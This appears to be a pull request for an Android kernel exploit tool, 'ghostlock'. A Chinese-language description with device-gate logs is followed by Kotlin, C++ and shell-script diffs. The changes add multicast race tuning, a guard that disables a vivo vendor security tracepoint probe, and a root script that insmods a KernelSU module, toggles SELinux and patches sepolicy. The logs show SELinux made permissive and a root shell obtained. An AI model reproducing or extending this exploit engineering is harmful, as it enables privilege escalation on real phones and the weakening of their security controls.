**PASS**:2026-09-30(旧二进制)、2026-10-02 两次 —— 其中一次为**评审修正后的二进制**(`ANC-02`,首次尝试即通过);归档 `docs/analysis/device-gates/ANC-0{1,2}-*.md` | + +反汇编核对(基线 `deff0b1b` 干净构建,md5 `27879fa7`;候选本分支,md5 `02f2be01`;工具为 +本分支自带的 `tools/cmp_disasm.py`,另用 `origin/main` 的两级版本交叉核对): + +- `owner_thread`、`do_one_write`(3 个 middleware 实例):**IDENTICAL (strict)**。 +- `waiter_thread` / `consumer_thread` / `run_main_route_threads`:5 个未改行为的攻击函数合计 + **102 条**差异指令,逐条按 `adrp` 页基址 + 立即数解析并折算为符号+偏移后,**全部是同一 + 对象成员或同一字符串字面量,0 例指向不同目标**(1 条手工解析至 `g_exploit_session+0x5d0`)。 + 结构体大小与偏移未动,见设计点 1。 +- `do_kernel5_fake_lock_route`:174 → **224** 条,**既定行为改动**(multicast 重复投毒循环包裹 + 既有 poison+walk 主体;主体内语句顺序与 prepare/recycle 顺序不变。224 = 评审修正后的条数, + 见下节)。 +- `multicast_owner_worker` / `multicast_waiter_worker`:两侧都不存在(本分支未实例化这两个 + worker,与 `kernel-phys-offset-plan.md` 的同类记录一致)。 + +真机门禁日志(2026-10-02,最终二进制;冷启动、锁屏未解锁、运行起步 `boot_ms≈79s`): + +``` +[*] cpu pair: main=4 consumer=5 +[*] === W1: SELinux === target=0xffffff802a558f40 mode=1 leaf=0 +[*] multicast route status=0 clean=1/1 step=0 errno=0 attempts=16 calls=1 success=1 +[+] SELinux permissive +[*] [T+11100ms] Write 1 complete +[*] vr guard: neutralizing __tracepoint_sys_exit.funcs image=ffffffc0823cb1c0 target=ffffff802a3cb1c0 width=8 +[+] vr guard: sys_exit probe disabled (attempt 1) +[*] child uid = 0 +[+] child is root! +[*] handoff: root shell worker pid=10055 +[*] enforce=1 (enforcing) +[+] KernelSU ready +``` + +设备侧根脚本日志:`late-load kmi=android14-6.1`、`late-load exit=0`、`[+] KernelSU module loaded`。 + +`su -c id` → `uid=0(root) context=u:r:ksu:s0`(连续 3 次 `id -u` = 0); +`grep kernelsu /proc/modules` → `Live`;设备未 panic、SELinux 回到 Enforcing(2026-09-30 +的旧二进制门禁结论一致)。 + +关于成功率(如实):本次 9 次完整尝试 1 次通过,失败全部发生在 route 阶段的内核 panic +(multicast 单次未命中,属 AGENTS.md 的 `KERNEL-PANIC-01` 类环境/时序问题,不归因代码; +失败与通过同等记录在归档里)。另外观察到本机开机后 ≈60–90s 的低噪声窗口(参考套件 README +的经验)明显优于 `uptime ≥ 240s` 窗口,后者 6/6 失败。 + +## 为什么 multicast 提交在同一个 PR + +`7bbaab08` 把 multicast route 从「每阶段一次 poison/walk」改为「重复投毒 + 重复 walk」。它 +不是 guide 的任务,但没有它,本机在 W1 就是单张彩票:miss 通常直接 panic,vr.ko 行为无法 +在真机上验证。改动自包含(计数来自 profile,既有 profile 不受影响),如果需要,我可以 +rebase 掉它另开 PR。 + +## reviewer 注意(可调整项) + +见开头的「需要你拍板的三件事」;与主线新约定对齐的细节:本 PR 已把三个调参键收录进编辑器与 +校验(见改动表),其余按目标分支既有的 presence 语义实现(缺值不写键)。合并到含 +`2d9d8016` 规则的主线时,把 `vr_guard.tracepoint_funcs` 与 +`route.multicast_waiter.{attempts,arm_sequence,arm_hold}` 纳入提取器/编辑器的 field universe +(缺值写显式 null)即可。 + +## 风险与未验证 + +- 6.6 内核的 `funcs=0x48` 路径只有 BTF 推导,无该内核设备实测。 +- BTF / 符号缺失的镜像:提取器不输出对应字段,行为保持关闭(fail closed)。 +- 门禁环境注记:运行机当前未安装 KernelSU 管理器,handoff 的 ksud 取自参考套件 + `files/ksud`(`ksud 3.3.0 (uapi: 2)`,与官方管理器 32601 同版),与套件 README 的手动步骤同一 + 路径;不涉及本 PR 的代码路径。另:本机 `/data/local/tmp` 开机即清空,验证时文件在 boot 后重新 + 推送;`.ghostlock_iomem` 用本机实测存档播种(native 在无缓存时按内置几何继续,行为等价于 + 更宽的界,缓存只会收窄它)。 + +## 明确保留 + +- 不动 `kernelsnitch/`、v1 转换路径(`LegacyProfileConverter.kt`)与保留清单。 +- 不改 wire 版本;既有 profile 字节不变。 +- 不修改 `tools/cmp_disasm.py`。 diff --git a/profile-core/src/main/kotlin/com/ghostlock/app/data/NativeProfile.kt b/profile-core/src/main/kotlin/com/ghostlock/app/data/NativeProfile.kt index 282b5457c..b8554b104 100644 --- a/profile-core/src/main/kotlin/com/ghostlock/app/data/NativeProfile.kt +++ b/profile-core/src/main/kotlin/com/ghostlock/app/data/NativeProfile.kt @@ -21,6 +21,8 @@ data class NativeProfileDocument( val routeKind: UInt, val kernelMajor: UInt, val recommendShizuku: UInt, + /** Gate for the ancillary vr.ko guard (see docs/analysis/ancillary-controller-guide.md). */ + val vrGuard: UInt, val fallbackRoute: UInt, val taskStruct: TaskStructOffsets, val cred: CredTemplate, @@ -28,6 +30,8 @@ data class NativeProfileDocument( val kernelPhysLoad: ULong?, val kernelPhysOffset: ULong?, val compactWaiter: UByte?, + /** vr_guard.tracepoint_funcs, when the image's BTF yielded it. */ + val vrGuardTracepointFuncs: UInt?, val kernelsnitchCollisions: UInt?, val mmStructSz: UInt?, val execution: ExecutionTuning, @@ -80,7 +84,7 @@ data class NativeProfileDocument( "recommend_shizuku" to recommendShizuku.toULong(), "fallback_route" to fallbackRoute.toULong(), "safe_mode" to safeMode.toULong(), - ), + ) + listOfNotNull(vrGuard.takeIf { it != 0u }?.let { "vr_guard" to it.toULong() }), ), ) add(Section("task_struct", taskEntries())) @@ -154,6 +158,17 @@ data class NativeProfileDocument( ), ) routeSection()?.let(::add) + vrGuardSection()?.let(::add) + } + + /** + * Ancillary vr.ko guard layout: offsetof(struct tracepoint, funcs), read from + * the image's BTF by the extractor. Absent when the profile does not carry + * it, which keeps the behavior fail-closed on the native side. + */ + private fun vrGuardSection(): Section? { + val funcs = vrGuardTracepointFuncs ?: return null + return Section("vr_guard", listOf("tracepoint_funcs" to funcs.toULong())) } private fun taskEntries(): List> = listOf( @@ -192,7 +207,14 @@ data class NativeProfileDocument( "ref3_image" to cred.ref3Image, ) - private fun offsetEntries(): List> = listOf( + private fun offsetEntries(): List> = buildList { + addAll(baseOffsetEntries()) + /* Ancillary vr.ko guard: omitted when the profile does not carry it, so + * profiles without the behavior keep byte-identical output. */ + kernelOffset.vrSysExitTp.takeIf { it != 0uL }?.let { add("vr_sys_exit_tp" to it) } + } + + private fun baseOffsetEntries(): List> = listOf( "init_task" to kernelOffset.initTask, "init_cred" to kernelOffset.initCred, "empty_zero_page" to kernelOffset.emptyZeroPage, @@ -354,6 +376,7 @@ data class NativeProfileDocument( routeKind = routeKind(route), kernelMajor = vu("kernel_major"), recommendShizuku = vu("recommend_shizuku"), + vrGuard = vu("recommend_vr_guard"), fallbackRoute = routeKind(fallbackTo), taskStruct = TaskStructOffsets( prio = vu("task_struct.prio"), @@ -400,10 +423,12 @@ data class NativeProfileDocument( slideNfulnlLogger = vul("offset.slide_nfulnl_logger"), slideLoggers01 = vul("offset.slide_loggers_0_1"), slideBootId = vul("offset.slide_boot_id"), + vrSysExitTp = vul("offset.vr_sys_exit_tp"), ), kernelPhysLoad = vulOrNull("kernel_phys_load"), kernelPhysOffset = vulOrNull("kernel_phys_offset"), compactWaiter = vbOrNull("compact_waiter"), + vrGuardTracepointFuncs = vuOrNull("vr_guard.tracepoint_funcs"), kernelsnitchCollisions = vuOrNull("kernelsnitch.collisions"), mmStructSz = vuOrNull("kernelsnitch.mm_struct_sz"), execution = ExecutionTuning( @@ -446,6 +471,8 @@ data class NativeProfileDocument( private var metaRecommendShizuku = 0u private var metaFallbackRoute = 0u private var metaSafeMode = 0u + private var metaVrGuard = 0u + private var vrGuardTracepointFuncs: UInt? = null private var task = TaskStructOffsets() private var credential = CredTemplate() private var offsets = KernelOffsetTable() @@ -468,6 +495,7 @@ data class NativeProfileDocument( "recommend_shizuku" -> metaRecommendShizuku = raw.toUInt() "fallback_route" -> metaFallbackRoute = raw.toUInt() "safe_mode" -> metaSafeMode = raw.toUInt() + "vr_guard" -> metaVrGuard = raw.toUInt() } "task_struct" -> task = when (key) { @@ -519,9 +547,14 @@ data class NativeProfileDocument( "slide_nfulnl_logger" -> offsets.copy(slideNfulnlLogger = raw) "slide_loggers_0_1" -> offsets.copy(slideLoggers01 = raw) "slide_boot_id" -> offsets.copy(slideBootId = raw) + "vr_sys_exit_tp" -> offsets.copy(vrSysExitTp = raw) else -> offsets } + "vr_guard" -> when (key) { + "tracepoint_funcs" -> vrGuardTracepointFuncs = raw.toUInt() + } + "kernel" -> when (key) { "kernel_phys_load" -> kernelPhysLoad = raw "kernel_phys_offset" -> kernelPhysOffset = raw @@ -616,6 +649,8 @@ data class NativeProfileDocument( mmStructSz = mmStructSz, execution = execution, safeMode = metaSafeMode, + vrGuard = metaVrGuard, + vrGuardTracepointFuncs = vrGuardTracepointFuncs, routeConfig = routeConfig, ) } @@ -678,6 +713,8 @@ data class KernelOffsetTable( val slideNfulnlLogger: ULong = 0uL, val slideLoggers01: ULong = 0uL, val slideBootId: ULong = 0uL, + /** Image offset of __tracepoint_sys_exit (ancillary vr.ko guard). */ + val vrSysExitTp: ULong = 0uL, ) data class ExecutionTuning( diff --git a/profile-core/src/main/kotlin/com/ghostlock/app/data/profile/ProfileMerger.kt b/profile-core/src/main/kotlin/com/ghostlock/app/data/profile/ProfileMerger.kt index 48310156a..9de213ed5 100644 --- a/profile-core/src/main/kotlin/com/ghostlock/app/data/profile/ProfileMerger.kt +++ b/profile-core/src/main/kotlin/com/ghostlock/app/data/profile/ProfileMerger.kt @@ -30,7 +30,11 @@ object ProfileMerger { routePresets: Map, ): ValueMap { val defaults = valueMapOf("release" to deviceRelease).apply { - if (tuningExecution != null) put("execution", tuningExecution) + /* Copy: deepMergeValues writes into the maps it is given, so a shared + * preset instance would carry one profile's execution overrides into + * every profile merged after it (the exporter merges all builtins in + * one process). */ + if (tuningExecution != null) put("execution", tuningExecution.copyValue()) } val resolved = mergeSource( mergeSource( diff --git a/profile-core/src/main/kotlin/com/ghostlock/app/data/profile/ProfileResolver.kt b/profile-core/src/main/kotlin/com/ghostlock/app/data/profile/ProfileResolver.kt index 05c70c05f..fe866baa0 100644 --- a/profile-core/src/main/kotlin/com/ghostlock/app/data/profile/ProfileResolver.kt +++ b/profile-core/src/main/kotlin/com/ghostlock/app/data/profile/ProfileResolver.kt @@ -13,6 +13,9 @@ object ProfileResolver { "release", "schema_version", "kernel_major", "recommend_shizuku", "route", "fallback", "kernelsnitch", "task_struct", "cred", "offset", "kernel_phys_load", "kernel_phys_offset", "execution", + /* Ancillary vr.ko guard: the gate (mirrors recommend_shizuku) and the + * layout section derived from the image's BTF. */ + "recommend_vr_guard", "vr_guard", ) private val RequiredTopLevel = setOf( "release", "schema_version", "kernel_major", "route", "task_struct", "cred", "offset", @@ -130,6 +133,29 @@ object ProfileResolver { } } } + /* Narrow wire fields: reject values the native widths cannot carry + * instead of letting the typed casts wrap them (the poison/walk tuning + * is u8/u8/u16, the vr.ko guard layout is u8). This is the shared + * validation, so the exporter and every other caller are covered too. */ + val widths = buildList { + if (route == "multicast_waiter") { + add("route.multicast_waiter.attempts" to 0xffL) + add("route.multicast_waiter.arm_sequence" to 0xffL) + add("route.multicast_waiter.arm_hold" to 0xffffL) + } + if (fallbackTo == "multicast_waiter") { + add("fallback.route.multicast_waiter.attempts" to 0xffL) + add("fallback.route.multicast_waiter.arm_sequence" to 0xffL) + add("fallback.route.multicast_waiter.arm_hold" to 0xffffL) + } + add("vr_guard.tracepoint_funcs" to 0xffL) + } + for ((path, max) in widths) { + val value = profile.getLongAt(path) ?: continue + if (value < 0L || value > max) { + errors += ConfigError(path, "outside 0..$max") + } + } return errors } diff --git a/profile-core/src/main/kotlin/com/ghostlock/app/data/route/MulticastConfig.kt b/profile-core/src/main/kotlin/com/ghostlock/app/data/route/MulticastConfig.kt index fa5694495..b3c709b2a 100644 --- a/profile-core/src/main/kotlin/com/ghostlock/app/data/route/MulticastConfig.kt +++ b/profile-core/src/main/kotlin/com/ghostlock/app/data/route/MulticastConfig.kt @@ -1,13 +1,25 @@ package com.ghostlock.app.data.route +/** + * `route.multicast_waiter` section. Geometry fields mirror native's optional + * members; the poison/walk repetition mirrors native's plain members, where a + * zero value means "keep the compiled route default" and an absent key does the + * same, so they are written only when the profile provides them. + */ data class MulticastConfig( val geometry: MulticastGeometry, + val attempts: UByte?, + val armSequence: UByte?, + val armHold: UShort?, ) : RouteConfig { override fun entries(): List> = buildList { geometry.waiterOff?.let { add("waiter_off" to it.toLong().toULong()) } geometry.bufferSize?.let { add("buffer_size" to it.toULong()) } geometry.taskOffset?.let { add("task_offset" to it.toULong()) } geometry.lockOffset?.let { add("lock_offset" to it.toULong()) } + attempts?.let { add("attempts" to it.toULong()) } + armSequence?.let { add("arm_sequence" to it.toULong()) } + armHold?.let { add("arm_hold" to it.toULong()) } } override fun apply(key: String, value: ULong): RouteConfig = when (key) { @@ -15,12 +27,18 @@ data class MulticastConfig( "buffer_size" -> copy(geometry = geometry.copy(bufferSize = value.toUInt())) "task_offset" -> copy(geometry = geometry.copy(taskOffset = value.toUInt())) "lock_offset" -> copy(geometry = geometry.copy(lockOffset = value.toUInt())) + "attempts" -> copy(attempts = value.toUByte()) + "arm_sequence" -> copy(armSequence = value.toUByte()) + "arm_hold" -> copy(armHold = value.toUShort()) else -> this } companion object { val EMPTY = MulticastConfig( geometry = MulticastGeometry(null, null, null, null), + attempts = null, + armSequence = null, + armHold = null, ) fun from(value: (String) -> Long?): MulticastConfig = MulticastConfig( @@ -30,6 +48,9 @@ data class MulticastConfig( taskOffset = value("mcast.task_offset")?.toUInt(), lockOffset = value("mcast.lock_offset")?.toUInt(), ), + attempts = value("mcast.attempts")?.toUByte(), + armSequence = value("mcast.arm_sequence")?.toUByte(), + armHold = value("mcast.arm_hold")?.toUShort(), ) } } diff --git a/profile-core/src/test/kotlin/com/ghostlock/app/data/profile/ProfileResolverTest.kt b/profile-core/src/test/kotlin/com/ghostlock/app/data/profile/ProfileResolverTest.kt index 11c271d5c..6fb7ead12 100644 --- a/profile-core/src/test/kotlin/com/ghostlock/app/data/profile/ProfileResolverTest.kt +++ b/profile-core/src/test/kotlin/com/ghostlock/app/data/profile/ProfileResolverTest.kt @@ -84,6 +84,38 @@ class ProfileResolverTest { assertEquals(0uL, flat["recommended_cpus.main"]) } + @Test + fun `validateMerged rejects tuning values outside the native widths`() { + fun multicast(attempts: Long, armSequence: Long, armHold: Long) = validProfile() + mapOf( + "route" to valueMapOf( + "multicast_waiter" to valueMapOf( + "attempts" to attempts, "arm_sequence" to armSequence, "arm_hold" to armHold, + ), + ), + ) + val tooWide = ProfileResolver.validateMerged( + multicast(attempts = 256, armSequence = 16, armHold = 20000), "multicast_waiter", "none", + ) + assertTrue(tooWide.any { it.fieldPath == "route.multicast_waiter.attempts" }) + val holdWide = ProfileResolver.validateMerged( + multicast(attempts = 128, armSequence = 16, armHold = 65536), "multicast_waiter", "none", + ) + assertTrue(holdWide.any { it.fieldPath == "route.multicast_waiter.arm_hold" }) + assertEquals( + emptyList(), + ProfileResolver.validateMerged( + multicast(attempts = 128, armSequence = 16, armHold = 20000), "multicast_waiter", "none", + ), + ) + } + + @Test + fun `validateMerged rejects a vr guard layout the transport cannot carry`() { + val profile = validProfile() + ("vr_guard" to valueMapOf("tracepoint_funcs" to 0x140L)) + val errors = ProfileResolver.validateMerged(profile, "select_stack", "none") + assertTrue(errors.any { it.fieldPath == "vr_guard.tracepoint_funcs" }) + } + private fun validProfile(): MutableMap = valueMapOf( "release" to "test", "schema_version" to 1, diff --git a/src/Makefile b/src/Makefile index dc863d68f..60f18fa8c 100644 --- a/src/Makefile +++ b/src/Makefile @@ -28,6 +28,7 @@ CXX_SRCS := \ core/race/pi_race.cpp \ core/route/route_controller.cpp \ core/route/route_middleware.cpp \ + core/session/ancillary/vr_guard.cpp \ core/race/threads.cpp \ core/route/tcp_zerocopy_route.cpp \ core/route/select_stack_route.cpp \ @@ -39,6 +40,7 @@ CXX_SRCS := \ core/session/exploit_session.cpp \ core/session/root_child_frontend.cpp \ core/session/backend/cve_2026_43499_backend.cpp \ + core/session/ancillary/ancillary_controller.cpp \ core/session/handoff_probe.cpp \ core/session/victim_process.cpp \ core/session/victim_context.cpp \ @@ -121,7 +123,7 @@ NATIVE_HOST_TESTS := \ target_constants_test native_resource_test \ profile_binary_test futex_hash_test number_parse_test \ runtime_paths_test handoff_probe_test victim_context_test \ - run_state_test address_space_test cpp_link_probe_test + run_state_test address_space_test cpp_link_probe_test ancillary_test native-host-tests: $(addprefix $(HOST_BUILD_DIR)/,$(NATIVE_HOST_TESTS)) @status=0; for test in $^; do $$test || status=1; done; exit $$status @@ -227,6 +229,13 @@ $(HOST_BUILD_DIR)/route_policy_test: core/tests/route_policy_test.cpp core/route @mkdir -p $(HOST_BUILD_DIR) $(HOST_CXX) $(HOST_CXXFLAGS) -ffunction-sections -fdata-sections $(HOST_LD_GC) -Icore core/tests/route_policy_test.cpp -o $@ +$(HOST_BUILD_DIR)/ancillary_test: core/tests/ancillary_test.cpp \ + core/session/ancillary/ancillary_policy.hpp core/session/ancillary/vr_guard.hpp \ + core/session/ancillary/ancillary_controller.hpp core/session/exploit_session.hpp \ + core/profile/model.h core/support/status.hpp + @mkdir -p $(HOST_BUILD_DIR) + $(HOST_CXX) $(HOST_CXXFLAGS) -ffunction-sections -fdata-sections $(HOST_LD_GC) -Icore core/tests/ancillary_test.cpp -o $@ + $(HOST_BUILD_DIR)/route_lifecycle_test: core/tests/route_lifecycle_test.cpp core/route/route_lifecycle.hpp core/route/route_status.h @mkdir -p $(HOST_BUILD_DIR) $(HOST_CXX) $(HOST_CXXFLAGS) -Icore core/tests/route_lifecycle_test.cpp -o $@ diff --git a/src/core/attack/ops.cpp b/src/core/attack/ops.cpp index 707a0ca5a..77d770c2b 100644 --- a/src/core/attack/ops.cpp +++ b/src/core/attack/ops.cpp @@ -52,6 +52,11 @@ namespace ghostlock::attack { e->tcp_post_receive_hold_iterations); log_exec("routes.select_stack.enter_delay_us", e->select_enter_delay_us); log_exec("routes.select_stack.timeout_us", e->select_timeout_us); + const profile::McastTuning mcast = + session::g_exploit_session.profile.mcast_tuning(); + log_exec("routes.multicast_waiter.attempts", mcast.attempts); + log_exec("routes.multicast_waiter.arm_sequence", mcast.arm_sequence); + log_exec("routes.multicast_waiter.arm_hold", mcast.arm_hold); log_exec("routes.select_stack.consumer_max_calls", e->select_consumer_max_calls); log_exec("routes.select_stack.consumer_burst_calls", e->select_consumer_burst_calls); @@ -240,6 +245,8 @@ namespace ghostlock::attack { "LOG='%s'\n" "SAFE_MODE=%d\n" "KSUD=\"$HOME_DIR/ksud\"\n" + "KSU_KO='%s'\n" + "KSU_ENFORCE=%s\n" "echo \"[*] root script start uid=$(id -u) euid=$(id -u)\" >\"$LOG\"\n" "chmod 644 \"$LOG\" 2>/dev/null\n" "echo \"[*] seccomp=$(grep Seccomp /proc/self/status 2>/dev/null | tr '\\n' ' ')\" >>\"$LOG\"\n" @@ -310,11 +317,32 @@ namespace ghostlock::attack { "fi\n" "KVER=$(uname -r | cut -d. -f1-2)\n" "AVER=$(uname -r | grep -o 'android[0-9]*' | head -1)\n" - "if [ -z \"$AVER\" ] || [ -z \"$KVER\" ]; then\n" - " echo '[!] cannot parse KMI from uname -r' >>\"$LOG\"\n" - " exit 1\n" + /* direct vendor-module path: kernels shipped without a KMI token in + * uname -r (e.g. vivo 5.15.197-custom) can never satisfy the KMI + * lookup below; when the embedder staged a matching .ko (its module + * version must match the ksud, else the manager handshake fails), + * insmod it directly and skip the KMI machinery entirely. + * Device scoping: validated end-to-end on PD2338 (vivo iQOO Neo9, + * 16.2.13.2, kernel 5.15.197-g708015331567-dirty) — direct insmod + * + unlabeled-packet live-policy patches keep Enforcing with full + * network. Other devices need their own kernelsu-vivo.ko rebuild. + * PD2338 PER-KERNEL RULE: the module is bound to the exact kernel + * build, not just the device — vermagic must match byte-for-byte + * and struct module layout (init/cleanup offsets) is fixed by that + * kernel's .config (LTO/CFI). Any OTA that bumps the kernel + * release (e.g. 16.2.13.x -> 16.3.x) invalidates the bundled .ko; + * rebuild against the new kernel tree before redeploying, else + * insmod fails or loads a layout-incompatible module. */ + "DIRECT=0\n" + "if [ -n \"$KSU_KO\" ] && [ -f \"$KSU_KO\" ]; then DIRECT=1; fi\n" + "KMI=''\n" + "if [ \"$DIRECT\" -eq 0 ]; then\n" + " if [ -z \"$AVER\" ] || [ -z \"$KVER\" ]; then\n" + " echo '[!] cannot parse KMI from uname -r' >>\"$LOG\"\n" + " exit 1\n" + " fi\n" + " KMI=\"${AVER}-${KVER}\"\n" "fi\n" - "KMI=\"${AVER}-${KVER}\"\n" "# safe mode: disable all modules before exec ksud\n" "if [ \"$SAFE_MODE\" = \"1\" ]; then\n" " echo \"[*] safe mode: disabling all modules under /data/adb/modules\" >>\"$LOG\"\n" @@ -386,10 +414,16 @@ namespace ghostlock::attack { " echo '[!] ksud missing; cannot late-load' >>\"$LOG\"\n" " exit 1\n" " fi\n" - " echo \"[*] late-load kmi=$KMI\" >>\"$LOG\"\n" " chmod 755 \"$KSUD\" 2>/dev/null\n" - " \"$KSUD\" late-load --kmi \"$KMI\" --allow-shell >>\"$LOG\" 2>&1\n" - " echo \"[*] late-load exit=$?\" >>\"$LOG\"\n" + " if [ \"$DIRECT\" -eq 1 ]; then\n" + " echo \"[*] direct insmod $KSU_KO\" >>\"$LOG\"\n" + " \"$KSUD\" insmod \"$KSU_KO\" >>\"$LOG\" 2>&1\n" + " echo \"[*] insmod exit=$?\" >>\"$LOG\"\n" + " else\n" + " echo \"[*] late-load kmi=$KMI\" >>\"$LOG\"\n" + " \"$KSUD\" late-load --kmi \"$KMI\" --allow-shell >>\"$LOG\" 2>&1\n" + " echo \"[*] late-load exit=$?\" >>\"$LOG\"\n" + " fi\n" "fi\n" "echo \"[*] temp su uid=$(id -u); watching kernelsu.ko\" >>\"$LOG\"\n" "KSU_READY=0\n" @@ -406,12 +440,26 @@ namespace ghostlock::attack { " echo \"[*] kernelsu already loaded; restoring enforcing\" >>\"$LOG\"\n" " echo 1 > /sys/fs/selinux/enforce 2>/dev/null\n" "fi\n" + "if [ \"$DIRECT\" -eq 1 ]; then\n" + " \"$KSUD\" sepolicy patch 'allow * unlabeled:packet send' >>\"$LOG\" 2>&1\n" + " \"$KSUD\" sepolicy patch 'allow * unlabeled:packet recv' >>\"$LOG\" 2>&1\n" + " echo '[*] unlabeled packet sepolicy patched' >>\"$LOG\"\n" + " if [ \"$KSU_ENFORCE\" = \"0\" ]; then\n" + " echo '[*] KSU_ENFORCE=0: switching permissive' >>\"$LOG\"\n" + " echo 0 > /sys/fs/selinux/enforce 2>/dev/null\n" + " else\n" + " echo '[*] keeping enforcing (live-policy packet patches active)' >>\"$LOG\"\n" + " fi\n" + "fi\n" "else\n" " echo '[!] fixup failed; SELinux left permissive' >>\"$LOG\"\n" "fi\n", (config::runtime_config_snapshot().home_dir.c_str()), (config::runtime_config_snapshot().ksu_log_path.c_str()), session::g_exploit_session.profile.safe_mode() ? 1 : 0, + /* direct vendor-module deployment (empty = classic KMI late-load) */ + (getenv("GHOSTLOCK_KSU_KO") ? getenv("GHOSTLOCK_KSU_KO") : ""), + (getenv("GHOSTLOCK_KSU_ENFORCE") ? getenv("GHOSTLOCK_KSU_ENFORCE") : "1"), (config::runtime_config_snapshot().debug_dir.c_str())); if (n < 0 || n >= static_cast(script.size())) { pr_warning("root script too long\n"); diff --git a/src/core/kernel/constants.hpp b/src/core/kernel/constants.hpp index 9377bf887..4f44c3c0f 100644 --- a/src/core/kernel/constants.hpp +++ b/src/core/kernel/constants.hpp @@ -5,6 +5,16 @@ #include "kernel/offset.h" +/* kernelsnitch/utils.h leaks `#define PAGE_SIZE 4096` / `#define PAGE_SHIFT` + * into every TU that includes it before this header (via common.h), which + * turns the constexpr declarations below into syntax errors. Pop the macros + * for this header and restore them afterwards so kernelsnitch code that + * still expects them keeps compiling. */ +#pragma push_macro("PAGE_SIZE") +#pragma push_macro("PAGE_SHIFT") +#undef PAGE_SIZE +#undef PAGE_SHIFT + namespace ghostlock::kernel { inline constexpr unsigned PAGE_SHIFT = 12; inline constexpr unsigned long PAGE_SIZE = 1UL << PAGE_SHIFT; @@ -57,4 +67,7 @@ namespace ghostlock::kernel { extern uint64_t g_direct_map_end; } // namespace ghostlock::kernel +#pragma pop_macro("PAGE_SHIFT") +#pragma pop_macro("PAGE_SIZE") + #endif diff --git a/src/core/profile/binary.cpp b/src/core/profile/binary.cpp index 6c039bd40..2780f2ce0 100644 --- a/src/core/profile/binary.cpp +++ b/src/core/profile/binary.cpp @@ -63,6 +63,8 @@ namespace ghostlock::binary_profile { PLAIN("recommend_shizuku", meta.recommend_shizuku), PLAIN("fallback_route", meta.fallback_route), PLAIN("safe_mode", meta.safe_mode), + /* Ancillary behavior gate (vivo vr.ko guard). */ + PLAIN("vr_guard", misc.vr_guard), }; constexpr Field kTask[] = { @@ -107,6 +109,8 @@ namespace ghostlock::binary_profile { PLAIN("slide_nfulnl_logger", offsets.slide_nfulnl_logger), PLAIN("slide_loggers_0_1", offsets.slide_loggers_0_1), PLAIN("slide_boot_id", offsets.slide_boot_id), + /* Ancillary vr.ko guard: the tracepoint the vendor probe hangs off. */ + PLAIN("vr_sys_exit_tp", misc.vr_sys_exit_tp), }; constexpr Field kKernel[] = { @@ -167,6 +171,12 @@ namespace ghostlock::binary_profile { PLAIN("burst_calls", execution.select_consumer_burst_calls), }; + /* Ancillary vr.ko guard layout: offsetof(struct tracepoint, funcs), + * derived from the image's BTF. Not a kernel-version lookup. */ + constexpr Field kVrGuard[] = { + PLAIN("tracepoint_funcs", misc.vr_tracepoint_funcs), + }; + constexpr Field kRouteTcp[] = { PLAIN("attempts", execution.tcp_attempts), PLAIN("arm_sequence", execution.tcp_arm_sequence), @@ -186,6 +196,10 @@ namespace ghostlock::binary_profile { OPT("buffer_size", geometry.mcast_buffer_size), OPT("task_offset", geometry.mcast_task_offset), OPT("lock_offset", geometry.mcast_lock_offset), + /* Poison/walk repetition; 0 means "keep the route default". */ + PLAIN("attempts", mcast_attempts), + PLAIN("arm_sequence", mcast_arm_sequence), + PLAIN("arm_hold", mcast_arm_hold), }; struct Section { @@ -209,6 +223,7 @@ namespace ghostlock::binary_profile { {"route.tcp_zerocopy", kRouteTcp, std::size(kRouteTcp)}, {"route.select_stack", kRouteSelect, std::size(kRouteSelect)}, {"route.multicast_waiter", kRouteMulticast, std::size(kRouteMulticast)}, + {"vr_guard", kVrGuard, std::size(kVrGuard)}, }; #undef PLAIN #undef OPT diff --git a/src/core/profile/model.h b/src/core/profile/model.h index 503c27d84..978b8d5a2 100644 --- a/src/core/profile/model.h +++ b/src/core/profile/model.h @@ -116,8 +116,15 @@ namespace ghostlock::profile { * override it without a rebuild. */ std::optional kernel_phys_offset; std::optional compact_waiter; + /* Ancillary vr.ko guard, occupying this struct's existing padding so the + * frozen session offsets do not move: the gate (fail closed), the + * tracepoint the vendor probe hangs off, and offsetof(struct tracepoint, + * funcs). A zero tracepoint_funcs means the image did not yield it. */ + uint8_t vr_guard = 0; + uint8_t vr_tracepoint_funcs = 0; std::optional kernelsnitch_collisions; std::optional mm_struct_sz; + uint32_t vr_sys_exit_tp = 0; }; struct RouteGeometry { @@ -128,6 +135,12 @@ namespace ghostlock::profile { std::optional mcast_lock_offset; }; + /* Multicast route poison/walk repetition; 0 keeps the route default. Values + * are the ones the geometry was measured with (128/16/20000). */ + struct McastTuning { + uint32_t attempts = 0, arm_sequence = 0, arm_hold = 0; + }; + /* Native transport representation of one Kotlin-resolved profile. */ struct kernel_offsets { const char *uname_r; @@ -139,6 +152,13 @@ namespace ghostlock::profile { KernelMisc misc; RouteGeometry geometry; struct execution_settings execution; + /* Multicast route poison/walk repetition; 0 keeps the route default. + * These four bytes live in this struct's existing tail padding: the + * attack code reads session members by offset and the cmp_disasm gate + * requires its instructions to stay byte-identical, so nothing here may + * change sizeof(). */ + uint8_t mcast_attempts = 0, mcast_arm_sequence = 0; + uint16_t mcast_arm_hold = 0; /* Typed view of the wire route field so callers need no cast. */ [[nodiscard]] RouteKind route_kind() const noexcept { @@ -156,6 +176,13 @@ namespace ghostlock::profile { std::optional compact_waiter; }; + /* Ancillary vr.ko guard: the two facts the write needs. Both must be + * present; each is an image-relative image_offset and a struct-internal + * offset, never a kernel-version lookup. */ + struct VrGuardLayout { + std::optional tracepoint_funcs; + }; + struct TcpZerocopyLayout { std::optional compact_waiter; }; @@ -274,6 +301,29 @@ namespace ghostlock::profile { return loaded_ && values_.meta.safe_mode; } + /* Ancillary vr.ko guard: gate + layout. Absent members mean the + * profile does not enable the behavior (see vr_guard.hpp plan()). */ + [[nodiscard]] bool vr_guard_enabled() const noexcept { + return loaded_ && values_.misc.vr_guard != 0; + } + + [[nodiscard]] VrGuardLayout vr_guard_layout() const noexcept { + if (!loaded_ || values_.misc.vr_tracepoint_funcs == 0) return VrGuardLayout{}; + return (VrGuardLayout){ + .tracepoint_funcs = static_cast(values_.misc.vr_tracepoint_funcs)}; + } + + [[nodiscard]] uint64_t vr_sys_exit_tp() const noexcept { + return loaded_ ? values_.misc.vr_sys_exit_tp : 0; + } + + [[nodiscard]] McastTuning mcast_tuning() const noexcept { + return loaded_ ? (McastTuning){.attempts = values_.mcast_attempts, + .arm_sequence = values_.mcast_arm_sequence, + .arm_hold = values_.mcast_arm_hold} + : McastTuning{}; + } + [[nodiscard]] MulticastWaiterLayout multicast_layout() const noexcept { 